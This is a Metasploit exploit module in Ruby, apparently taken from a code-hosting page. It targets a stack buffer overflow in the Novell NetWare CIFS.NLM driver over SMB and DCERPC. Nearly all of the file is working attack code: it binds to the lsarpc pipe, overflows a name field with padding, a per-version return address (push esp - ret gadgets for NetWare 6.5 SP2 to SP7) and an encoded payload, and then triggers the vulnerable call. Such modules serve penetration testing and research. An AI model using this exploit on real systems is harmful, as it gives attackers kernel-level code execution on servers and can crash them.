126 lines
3.2 KiB
Ruby
126 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
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Since the driver runs in the kernel space, a failed exploit attempt can
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cause the OS to reboot.
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},
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'Author' =>
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[
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'toto',
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-2852' ],
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[ 'OSVDB', '12790' ]
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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},
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'Platform' => 'netware',
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'Targets' =>
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[
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# NetWare SP can be found in the SNMP version :
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# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)
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[ 'VMware', { 'Ret' => 0x000f142b } ],
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[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
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[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
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[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
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[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
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[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
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[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
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],
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'DisclosureDate' => 'Jan 21 2007'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc'])
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], self.class)
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end
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def exploit
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# Force multi-bind off (netware doesn't support it)
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datastore['DCERPC::fake_bind_multi'] = false
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connect()
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smb_login()
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handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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stb =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
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NDR.long(0) +
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NDR.long(0) +
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NDR.long(0) +
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NDR.long(0) +
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NDR.long(0) +
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NDR.long(0) +
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NDR.long(0x000f0fff)
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resp = dcerpc.call(0x2c, stb)
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handle, = resp[0,20]
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code, = resp[20, 4].unpack('V')
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name =
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rand_text_alphanumeric(0xa0) +
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[target.ret].pack('V') +
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payload.encoded
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stb =
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handle +
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NDR.long(1) +
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NDR.long(1) +
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NDR.short(name.length) +
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NDR.short(name.length) +
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingStringPreBuilt(name) +
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NDR.long(0) +
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NDR.long(0) +
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NDR.long(1) +
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NDR.long(0)
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print_status("Calling the vulnerable function ...")
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begin
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dcerpc.call(0x0E, stb)
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rescue
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end
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# Cleanup
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handler
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disconnect
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end
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end
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